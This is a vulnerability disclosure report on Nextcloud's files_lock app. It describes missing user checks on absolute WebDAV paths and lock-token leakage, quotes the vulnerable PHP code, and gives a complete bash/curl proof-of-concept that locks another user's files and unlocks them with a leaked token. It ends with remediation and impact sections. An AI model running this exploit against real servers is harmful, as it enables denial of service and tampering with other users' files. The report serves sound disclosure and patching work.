Nextcloud · Report #3301553
Cross-User Lock/Unlock via Absolute DAV Path
Summary
https://github.com/nextcloud/security-advisories/security/advisories/GHSA-783r-vj89-5x2q
How it was found
Summary
Any authenticated user can lock or unlock files they do not own by targeting absolute WebDAV paths of other users. The DAV plugin resolves files from the absolute request URI without verifying that the <userId> path segment matches the authenticated session user. This enables:
- Cross-user manual locks : attacker locks a victim's files, blocking writes (PUT/MOVE/DELETE, editor saves).
- Lock-token disclosure: the app returns the lock token to unauthorized callers, enabling them to remove token-based locks (client locks) of other users.
This is exploitable in default Docker dev setups and standard deployments where the files_lock app is enabled.
Affected components and vulnerable code
- DAV plugin resolves from absolute path without verifying path user vs session user, enabling cross-user targetting.
public function httpLock(RequestInterface $request, ResponseInterface $response) {
if ($request->getHeader('X-User-Lock')) {
$lockType = (int)($request->getHeader('X-User-Lock-Type') ?? ILock::TYPE_USER);
$response->setHeader('Content-Type', 'application/xml; charset=utf-8');
$file = $this->fileService->getFileFromAbsoluteUri($this->server->getRequestUri());
public function httpUnlock(RequestInterface $request, ResponseInterface $response) {
if ($request->getHeader('X-User-Lock')) {
$lockType = (int)($request->getHeader('X-User-Lock-Type') ?? ILock::TYPE_USER);
$response->setHeader('Content-Type', 'application/xml; charset=utf-8');
$file = $this->fileService->getFileFromAbsoluteUri($this->server->getRequestUri());
- Absolute resolver trusts path
<userId>and does not verify against session. (https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/Service/FileService.php#L110)
public function getFileFromAbsoluteUri(string $uri): Node {
[$root, $userId, $path] = explode('/', trim($uri, '/') . '/', 3);
if ($root !== 'files') {
throw new NotFoundException();
}
$path = '/' . $path;
$file = $this->rootFolder->getUserFolder($userId)
->get($path);
return $file;
}
- Backend may also use absolute resolution depending on server tree. (https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/DAV/LockBackend.php#L115)
private function getFileFromUri(string $uri): Node {
if ($this->absolute) {
return $this->fileService->getFileFromAbsoluteUri($uri);
}
return $this->fileService->getFileFromUri($uri);
}
- Lock token disclosure to unauthorized callers.
} catch (UnauthorizedUnlockException $e) {
$lock = $this->lockService->getLockFromFileId($file->getId());
$response->setStatus(Http::STATUS_LOCKED);
$response->setBody(
$this->server->xml->write(
'{DAV:}prop',
$this->getLockProperties($lock, $file)
)
);
}
private function getLockProperties(?FileLock $lock, Node $file): array {
// ...
return [
// ...
Application::DAV_PROPERTY_LOCK_TOKEN => $lock ? $lock->getToken() : null,
];
}
Additionally, the OCS controller returns the token in 423 responses: (https://github.com/nextcloud/files_lock/blob/ba6291713edd67d7bc054c8d562b5ee183f3afdf/lib/Controller/LockController.php#L108)
} catch (UnauthorizedUnlockException $e) {
$lock = $this->lockService->getLockFromFileId((int)$fileId);
$response = new DataResponse();
$response->setStatus(Http::STATUS_LOCKED);
$response->setData($lock->jsonSerialize());
return $response;
}
POC
Prerequisites:
- Nextcloud instance with
files_lockenabled. - Two valid users (victim
aliceand attackeradminbelow). Any authenticated user works; admin is not required.
My POC will do two exploits
Exploit A: Cross-user lock DoS (attacker locks Alice’s file)
Exploit B: Token leak + unauthorized unlock
#!/usr/bin/env bash
# PoC script for Nextcloud files_lock vulnerabilities
# - Exploit A: Cross-user manual lock DoS via absolute DAV path
# - Exploit B: Lock token leak to unauthorized caller + unauthorized unlock
# Config (override via env before running)
: "${BASE_URL:=http://localhost:8080}"
: "${ALICE_USER:=alice}"
: "${ALICE_PASS:=AlicePass123!}"
: "${ATTACKER_USER:=admin}"
: "${ATTACKER_PASS:=admin}"
set -u
set -o pipefail
log() {
printf "\n==> %s\n" "$*"
}
require_cmd() {
command -v "$1" >/dev/null 2>&1 || { echo "Missing required command: $1"; exit 1; }
}
require_cmd curl
require_cmd sed
require_cmd grep
require_cmd date
# Create unique file names per run
TS="$(date +%s)"
RAND="${RANDOM:-0}"
FILE_A="pocA_${TS}_${RAND}.txt"
FILE_B="pocB_${TS}_${RAND}.txt"
ALICE_DAV_A="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_A}"
ALICE_DAV_B="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_B}"
log "Using BASE_URL=${BASE_URL}"
log "Victim user: ${ALICE_USER} | Attacker user: ${ATTACKER_USER}"
upload_file_as_alice() {
local url="$1"; local content="$2"
log "Uploading victim file as ${ALICE_USER}: ${url}"
printf '%s\n' "${content}" | curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -T - "$url" | tee /tmp/poc_upload.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/poc_upload.out | tail -n1
}
exploit_a() {
log "Exploit A: Cross-user lock DoS by ${ATTACKER_USER} on ${ALICE_USER}'s file"
log "Attacker LOCK with X-User-Lock on ${ALICE_DAV_A}"
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X LOCK -H 'X-User-Lock: 1' "${ALICE_DAV_A}" | tee /tmp/pocA_lock.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/pocA_lock.out | tail -n1
echo "Lock owner:" $(grep -oE '<nc:lock-owner>[^<]+' /tmp/pocA_lock.out | sed 's/.*>//' | head -n1)
log "Alice attempts to modify (expected 423 Locked)"
curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X PUT --data-binary 'new content' "${ALICE_DAV_A}" | tee /tmp/pocA_put.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/pocA_put.out | tail -n1
}
exploit_b() {
log "Exploit B: Token leak + unauthorized unlock on fresh file"
log "Ensure no manual lock exists (best-effort unlock by attacker)"
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H 'X-User-Lock: 1' "${ALICE_DAV_B}" | tee /tmp/pocB_cleanup.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/pocB_cleanup.out | tail -n1 || true
log "Alice creates a token-based LOCK"
cat > /tmp/lockinfo.xml <<'XML'
<?xml version="1.0" encoding="utf-8" ?>
<D:lockinfo xmlns:D="DAV:">
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
<D:owner>alice-client</D:owner>
</D:lockinfo>
XML
curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X LOCK -H 'Content-Type: application/xml' --data-binary @/tmp/lockinfo.xml "${ALICE_DAV_B}" | tee /tmp/pocB_lock_alice.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/pocB_lock_alice.out | tail -n1
echo "Lock-Token header (from Alice response):" $(grep -i '^Lock-Token:' /tmp/pocB_lock_alice.out | sed 's/Lock-Token:[[:space:]]*//I' | tr -d '\r')
log "Attacker sends UNLOCK with X-User-Lock to leak token (expected 423 with token in XML body)"
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H 'X-User-Lock: 1' "${ALICE_DAV_B}" | tee /tmp/pocB_leak.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/pocB_leak.out | tail -n1
LEAKED_TOKEN=$(grep -oE '<nc:lock-token>[^<]+' /tmp/pocB_leak.out | sed 's/.*>//' | head -n1 || true)
if [[ -z "${LEAKED_TOKEN}" ]]; then
echo "[!] Failed to parse leaked token from body; showing response snippet:"
sed -n '1,120p' /tmp/pocB_leak.out
exit 1
fi
echo "Leaked token:" "${LEAKED_TOKEN}"
log "Attacker unlocks with leaked token (expected 204 No Content)"
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H "Lock-Token: <opaquelocktoken:${LEAKED_TOKEN}>" "${ALICE_DAV_B}" | tee /tmp/pocB_unlock.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/pocB_unlock.out | tail -n1
log "Alice modifies file after attacker unlock (expected 204)"
curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X PUT --data-binary 'after unlock' "${ALICE_DAV_B}" | tee /tmp/pocB_put.out >/dev/null
grep -E '^HTTP/1\.[01] ' /tmp/pocB_put.out | tail -n1
}
verify_notes() {
printf "\nVerification:\n"
printf "- Exploit A: You should see 200 on attacker LOCK and 423 on Alice PUT.\n"
printf " File: %s\n" "${ALICE_DAV_A}"
printf "- Exploit B: You should see 423 (with <nc:lock-token>…) then 204 on attacker UNLOCK, then 204 on Alice PUT.\n"
printf " File: %s\n" "${ALICE_DAV_B}"
printf "\nYou can also open the Files app as Alice and confirm lock icons/ability to edit these files.\n"
}
# Run
upload_file_as_alice "${ALICE_DAV_A}" "hello from PoC A"
exploit_a
upload_file_as_alice "${ALICE_DAV_B}" "hello from PoC B"
exploit_b
verify_notes
Steps to reproduce
- Nextcloud installed
- Enable the app:
docker exec -u www-data nextcloud php occ app:enable files_lock. - Create users (e.g.,
alice,admin). - Run the script.
- Verify the demonstration visiting alice account and see the lock icon on file and open it and try to write somethng it , you won't because it is locked by attacker.
What’s happening under the hood
- The DAV plugin calls
getFileFromAbsoluteUri($requestUri)which parses/remote.php/dav/files/<userId>/<path>and directly opens<userId>’s folder, ignoring the authenticated session user. - Therefore a logged-in user can operate on
/files/alice/...while authenticated asbob/admin, applying user-locks to Alice’s files. - On unauthorized unlock attempts, the app constructs and returns lock properties including the
lock-token, leaking it to the attacker, who can then send a standardUNLOCKwith that token to clear the lock.
Prerequisites for exploitation
- Attacker has any valid Nextcloud account (no admin required).
- Attacker can reach the DAV endpoint (default
/remote.php/dav). - Attacker can guess or observe a victim username and file path. In practice user IDs and paths are often predictable or discoverable.
Recommended remediation
-
Enforce user scoping in DAV handlers:
- In
lib/DAV/LockPlugin.phphttpLock/httpUnlock, do not usegetFileFromAbsoluteUriblindly. Either:- Resolve nodes in the context of the session user, or
- Parse the path
<userId>and verify it equalsIUserSession->getUser()->getUID(). If mismatch, return 403/404.
- In
-
Harden
getFileFromAbsoluteUri:- Verify the extracted
<userId>equals the current session user and/or perform proper permission checks. Reject otherwise.
- Verify the extracted
-
Do not disclose lock tokens to unauthorized callers:
- Remove token from
getLockProperties()and OCSunlocking()responses unless the caller is authorized.
- Remove token from
Impact
- Any user on a multi-tenant Nextcloud can cause widespread write-denial by locking other users’ files at will (single request per file), disrupting collaboration and automation (desktop/mobile clients, online editors, CI pipelines writing into user folders).
- The lock token (credential-like secret) for token-based client locks is exposed to unauthorized users, allowing them to remove locks placed by client apps, increasing friction and risking data loss due to concurrent edits.
- No social engineering, special setup, or elevated privileges are required beyond having an account and guessing/knowing the victim username and a path.